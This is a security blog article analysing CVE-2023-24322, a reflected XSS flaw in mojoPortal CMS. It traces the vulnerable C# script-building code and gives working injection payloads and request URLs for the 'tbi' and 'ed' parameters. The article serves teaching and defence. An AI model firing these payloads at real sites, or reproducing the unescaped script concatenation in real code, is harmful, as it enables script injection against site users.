XSS vulnerability in the ASP.NET application: CVE-2023-24322 in mojoPortal CMS
Tags: csharp, dotnet, security, cybersecurity
Published: 2023-05-31 12:07:48

![1054_XSS_mojoPortal/image1.png](https://import.viva64.com/docx/blog/1054_XSS_mojoPortal/image1.png)

In this article, we will thoroughly examine the XSS vulnerability in a CMS written in C\#\. Let's recall the theory, figure out how the security defect looks from a user's perspective and in code, and also practice writing exploits\. 

## What is cross\-site scripting \(XSS\)?

**Note**\. You can skip this section if you are already familiar with the XSS basics\. 

XSS \(cross\-site scripting\) is an application vulnerability that involves injecting code into a page viewed by a user\. If the application is not protected from XSS, an attacker can inject JavaScript code and steal data or perform other malicious actions\. 

The simplest example of XSS is when data from parameters or input fields are used without checking/escaping the data itself\.

Let's say there is a JS script that extracts the *name* parameter value from the query string and welcomes the user on the web page:

```javascript
<script>
  var urlParams = new URLSearchParams(window.location.search);
  var nameParam = urlParams.get("name");
  var name = nameParam ? nameParam : "stranger";

  document.write('<div>Hello '+ name + '!</div>');
</script>
```

We make a request of the `XSSExample.html?name=John` kind and get the expected response on the page — `"Hello John!"`\.

However, if we pass a script instead of the name, it will also be injected in the document's body and executed\. 

Request example:

```
XSSExample.html?name=<script>alert('Ooops, it looks insecure...')</script>
```

Result: 

![1054_XSS_mojoPortal/image2.png](https://import.viva64.com/docx/blog/1054_XSS_mojoPortal/image2.png)

We've successfully injected the code\. This security flaw is called reflected XSS\. The injected script is not saved anywhere, and the attacker intends to make the victim make an insecure request to the page \(for example, by opening a malicious link\)\. Obviously, not to show the form — it's just a simple way to confirm XSS presence\.

## Analysis of XSS in mojoPortal CMS \(CVE\-2023\-24322\)

Now when we're done with the theory and synthetic examples, let's turn to the analysis of the specific XSS in the open\-source project mojoPortal\. mojoPortal is a CMS written in C\# using ASP\.NET\. The project's source code is [available on GitHub](https://github.com/i7MEDIA/mojoportal)\. The XSS vulnerability we are discussing today was discovered in the [2\.7\.0\.0](https://github.com/i7MEDIA/mojoportal/tree/v2.7.0.0) version\. 

This vulnerability has the [CVE\-2023\-24322](https://nvd.nist.gov/vuln/detail/CVE-2023-24322) identifier: 

> A reflected cross\-site scripting \(XSS\) vulnerability in the FileDialog\.aspx component of mojoPortal v2\.7\.0\.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the ed and tbi parameters\.

Here are some key points from the description:

* the vulnerability is located on the FileDialog\.aspx page;
* the security flaw can be exploited via the `ed` and `tbi` request parameters\.

What is the first thing that comes to mind when trying to check XSS? Probably, passing data like `<script>alert(0)</script>` via the vulnerable parameter\. :\)

Let's try writing this string to both parameters and see what happens\. 

Writing it to the `ed` parameter yields no results\.

![1054_XSS_mojoPortal/image3.png](https://import.viva64.com/docx/blog/1054_XSS_mojoPortal/image3.png)

But if we pass the same string via the `tbi` parameter, then the page content will change in an interesting way:

![1054_XSS_mojoPortal/image4.png](https://import.viva64.com/docx/blog/1054_XSS_mojoPortal/image4.png)

However, this is still not what we expected — the pop\-up window \(the `alert` call result\) did not appear\. 

So that we can better understand what is happening and create exploits, let's look into the source code and see how the values of request parameters are used\.

### General logic

Let's look at the code and see what unites the `ed` and `tbi` parameters, then we will analyze their processing\. 

We will start with the `Page_Load` method that handles the `FileDialog.aspx` page load event:

```csharp
protected void Page_Load(object sender, EventArgs e)
{
  LoadSettings();
  if (fileSystem == null) { return; }
  PopulateLabels();
  SetupScripts();
}
```

Firstly, we are interested in the `LoadSettings` method logic\. The values of the `ed` and `tbi` parameters are written to `editorType` and `clientTextBoxId` fields, respectively\.

```csharp
public partial class FileDialog : Page
{
  private string editorType = string.Empty;
  private string clientTextBoxId = string.Empty;
  ....

  private void LoadSettings()
  {
    ....
    if (Request.QueryString["ed"] != null)
    {
      editorType = Request.QueryString["ed"];
    }
    ....
    if (Request.QueryString["tbi"] != null)
    {
      clientTextBoxId = Request.QueryString["tbi"];
    }
    ....
  }
  ....
}
```

Going back to `Page_Load`:

```csharp
protected void Page_Load(object sender, EventArgs e)
{
  LoadSettings();
  if (fileSystem == null) { return; }
  PopulateLabels();
  SetupScripts();
}
```

Checking `fileSystem == null` results in `false`, and we are not interested in the `PopulateLabels` method\. Therefore, let's look at the `SetupScripts` body:

```csharp
private void SetupScripts()
{
  SetupMainScript();
  SetupjQueryFileTreeScript();
  SetupClearFileInputScript();
}
```

There are 2 methods that are relevant to us: `SetupMainScript` and `SetupjQueryFileTreeScript`\. Why? You will understand that a little later\. 

Let's start with the `SetupMainScript` method:

```csharp
private void SetupMainScript()
{
  switch (editorType)
  {
    case "tmc":
      SetupTinyMce();
      break;

    case "ck":
      SetupCKeditor();
      break;

    case "fck":
      SetupFCKeditor();
      break;

    default:
      SetupDefaultScript();
      break;
  }
}
```

Here we can see `switch` and the `editorType` field \(the `ed` parameter\) that was mentioned before\. We influence the code execution logic by changing the parameter value\. Now let's take a look at the `default` section and the `SetupDefaultScript` method call:

```csharp
//this is used by /Controls/FileBrowserTextBoxExtender.cs
private void SetupDefaultScript()
{
  btnSubmit.Attributes.Add("onclick", "fbSubmit(); return false; ");

  StringBuilder script = new StringBuilder();
  script.Append("\n<script type=\"text/javascript\">");
  script.Append("function fbSubmit () {");

  if(browserType == "folder")
  {
    script.Append(
        "var URL = document.getElementById('" 
      + hdnFolder.ClientID 
      + "').value; ");
  }
  else
  {
    script.Append(
        "var URL = document.getElementById('" 
      + hdnFileUrl.ClientID 
      + "').value; ");
  }
            
  //script.Append("alert(URL);");

  script.Append("top.window.SetUrl(URL, '" + clientTextBoxId + "');");
  //script.Append("window.close();");
  //script.Append("window.opener.focus();");

  script.Append("}");
  script.Append("\n</script>");

  this.Page
      .ClientScript
      .RegisterClientScriptBlock(typeof(Page),
                                 "fbsubmit",
                                 script.ToString());
}
```

Interesting\. The method gradually writes the JavaScript code to the `script` variable, then it registers the script via the `RegisterClientScriptBlock` method call\. At the same time, the `clientTextBoxId` value corresponding to the `tbi` parameter is also inserted in the script\.

A similar thing is observed in the `SetupjQueryFileTreeScript` method, which I mentioned earlier\. The method also generates and registers the script using the `editorType` value \(which corresponds to the `ed` parameter\)\.  

Because the `SetupjQueryFileTreeScript` method is fairly long, I've shortened it below\. [Here](https://github.com/i7MEDIA/mojoportal/blob/f666ba3a66c5d0bdcf3b78bc51de3a6503629129/Web/Dialog/FileDialog.aspx.cs#L864) you can find the full version of the code\. 

```csharp
private void SetupjQueryFileTreeScript()
{
  ....
  StringBuilder script = new StringBuilder();
  script.Append("\n<script type=\"text/javascript\">");
  ....
  script.Append(
      "var returnUrl = encodeURIComponent('" 
    + navigationRoot 
    + "/Dialog/FileDialog.aspx?ed=" 
    + editorType 
    + "&type=" 
    + browserType 
    + "&dir=' + selDir) ; ");
  ....
  script.Append("\n</script>");

  this.Page
      .ClientScript
      .RegisterStartupScript(
        typeof(Page),
        "jqftinstance",
        script.ToString());
}
```

This is an important point, so let's go over it again\.

Both methods \(`SetupDefaultScript` and `SetupjQueryFileTreeScript`\) have a similar structure\. They use the HTTP request parameter values \(`tbi` and `ed`\) to create the script\. 

In a generalized \(and simplified\) form, the code looks like this:

```csharp
void SetupScript()
{
  StringBuilder script = new StringBuilder();
  script.Append("\n<script type=\"text/javascript\">");
  script.Append(....);
  // tbi and ed values are appended to the script
  ....
  script.Append("\n</script>");
  this.Page
      .RegisterScript(typeof(Page),
                      ....,
                      script.ToString());
}
```

Our task is to "break" the script written to the `script` variable\. If we succeed, we will change the logic of the generated script and see the result of the code injection\. 

Since scripts differ in structure and nesting, exploits will also be different\. Let's examine each of them separately\.

**A note on scripts formatting**\. In the article, I formatted the JS scripts for better readability\. In fact, they are written in 2 lines: the opening tag with the script body on the first line and the closing tag on the second one:

```javascript
<script type="text/javascript">function fbSubmit () { .... }
</script>
```

[Here](https://gist.github.com/VasilievSerg/27d677a75841bc9c7d2510ca7b77622b) you can find the full script with its original formatting\. 

Remember this feature, as it affects the exploit\.  

### Exploit with the tbi parameter

The script with the `tbi` parameter looks simpler, so we will start with it\. 

Let's make a request of the following type:
```
http://localhost:56987/Dialog/FileDialog.aspx/?tbi=TestPayload
```

Then the JS code generated in the `SetupDefaultScript` method may look like this:

```javascript
<script type = "text/javascript">
  function fbSubmit() {
    var URL = document.getElementById('hdnFileUrl').value;
    top.window.SetUrl(URL, 'TestPayload');
  }
</script>
```

Look at the second argument of the `SetUrl` method: that's where our data, wrapped in quotes, ended up\. 

Let's try to create a request that will "break" the script and allow us to inject the code\. The exploit must solve the following tasks:

* "close" the second argument of the `SetUrl` function;
* "close" the `SetUrl` function call;
* going beyond the `fbSubmit` function body;
* inject the code;
* comment out the remaining piece of the original code \(the one that closes the substitution template\)\.

The following string should solve all of the tasks:

```
TestPayload');}alert('You have been hacked via XSS');//
```

Let's analyze what its parts do:

* `TestPayload'` "closes" the function argument;
* `);` "closes" the `SetUrl` function call;
* `}` "closes" the `fbSubmit` function body;
* `alert('You have been hacked via XSS');` — the main injection logic;
* `//` — comments out the part of the original template that was left after substituting — `');}`\.

Now let's check our assumption\. To do this, we will make the following request: 
```
http://localhost:56987/Dialog/FileDialog.aspx/?tbi=TestPayload');}alert('You have been hacked via XSS');//
```

The result was to be expected:

![1054_XSS_mojoPortal/image5.png](https://import.viva64.com/docx/blog/1054_XSS_mojoPortal/image5.png)

Now the generated JS code with such a request looks like this:

```javascript
<script type = "text/javascript">
  function fbSubmit() { 
    var URL = document.getElementById('hdnFileUrl').value;   
    top.window.SetUrl(URL, 'TestPayload'); 
  } 
  alert('You have been hacked via XSS'); //');} 
</script>
```

As you can see, the exploit solved all the tasks: it helped us to go beyond the function and successfully inject the code\. 

Well, that's great\! We've figured out how to exploit the XSS vulnerability with the `tbi` parameter\. Now let's move on to the second vulnerable parameter — `ed`\.

### Exploit with the ed parameter

The principle of creating an exploit for the `ed` parameter is similar to `tbi`\.

Let me remind you that the JS code, in which the value of the `ed` parameter is inserted, is generated in the `SetupjQueryFileTreeScript` \([link](https://github.com/i7MEDIA/mojoportal/blob/f666ba3a66c5d0bdcf3b78bc51de3a6503629129/Web/Dialog/FileDialog.aspx.cs#LL864C22-L864C47)\) method\.

Let's make a request of the following type:
```
http://localhost:56987/Dialog/FileDialog.aspx/?ed=TestPayload
```

Now let's look at the generated script\. The full version is [here](https://gist.github.com/VasilievSerg/86d8d5fb90d3dd8c25f7edb94c4d5429), I give a shortened version below:

```javascript
<script type="text/javascript"> 
  ....
  $(document).ready(function () {
    ....
    $('#pnlFileTree').fileTree({
      ....
    }, function (file) {
      ....
      var returnUrl = encodeURIComponent(
        'http://localhost:56987/Dialog
           /FileDialog.aspx?ed=TestPayload&type=image&dir='
      + selDir);
      ....
    }, function (folder) {
      ....
    });
  });
  ....
</script>
```

Note that the `ed` parameter value \(the `TestPayload` string\) got inside the literal\.

We face a task similar to the previous one\. It is necessary to select the data that would help go beyond the argument of the `encodeURIComponent` function and inject the code\.

The exploit should solve several tasks as well:

* "close" the `encodeURIComponent` function argument;
* "close" functions' calls and bodies;
* inject the code;
* comment out the template's "tail" that will be left after we implement the logic\.

The following string meets all the requirements: 

```
TestPayload');});});alert('You have been hacked via XSS');//
```

The purpose of its components is also clear:

* `TestPayload'` "closes" the `encodeURIComponent` function argument;
* `);` "closes" the `encodeURIComponent` function call; 
* `});});` "closes" the external functions' bodies;
* `alert('You have been hacked via XSS');` — the main injection logic;
* `//` comments out the part of the original script that remained after substitution\.

Let's make the following request: 
```
http://localhost:56987/Dialog/FileDialog.aspx/?ed=TestPayload');});});alert('You have been hacked via XSS');//
```

Take a look at the result:

![1054_XSS_mojoPortal/image6.png](https://import.viva64.com/docx/blog/1054_XSS_mojoPortal/image6.png)

We got exactly what we expected\.

The parameter value specified above made the generated JS code look like this \(this version is shortened, and [here](https://gist.github.com/VasilievSerg/f5021ce7238bbd94c70ade57ff75d6d6) is the full one\):

```javascript
<script type = "text/javascript">
  ....
  $(document).ready(function () {
    ....
    $('#pnlFileTree').fileTree({
      ....
    }, function (file) {
      ....
      var returnUrl = encodeURIComponent(
        'http://localhost:56987/Dialog/FileDialog.aspx?ed=TestPayload');
    });
  });
  alert('You have been hacked via XSS'); //&type=image&dir=' + selDir ....
</script>
```

Everything worked just as we expected: we exited the function bodies and inserted our code\. You can see how the script changed its logic after we successfully injected data from our request into it\.

![1054_XSS_mojoPortal/image7.png](https://import.viva64.com/docx/blog/1054_XSS_mojoPortal/image7.png)

### How did developers fix the code?

The current version of the project doesn't have the `FileDialog.aspx.cs` file, which had vulnerabilities\. I may assume that the code has been rewritten or just deleted\.

## Conclusion

We have figured out how XSS might look like in a real project\. Let's sum up the main points — it will come in handy if you'd like to tinker with the vulnerability yourself:

* CVE\-ID: [CVE\-2023\-24322](https://nvd.nist.gov/vuln/detail/CVE-2023-24322)
* Project: [mojoPortal v2\.7\.0\.0](https://github.com/i7MEDIA/mojoportal/tree/v2.7.0.0)
* the vulnerability description: it's possible to exploit XSS on the `/Dialog/FileDialog.aspx` page when using the `ed` and `tbi` parameters
* possible exploit for `ed`: `TestPayload');});});alert('You have been hacked via XSS');//`
* possible exploit for `tbi`: `TestPayload');}alert('You have been hacked via XSS');//`

---
If you liked this article and want to read more on the security topic, you are welcome to the [blog](https://pvs-studio.com/en/blog/posts/?tag=security)\. 

If you want to check your project's code for security flaws \(XSS, SQLi, XXE, etc\.\), try to analyze it with [PVS\-Studio](https://pvs-studio.com/en/pvs-studio/)\.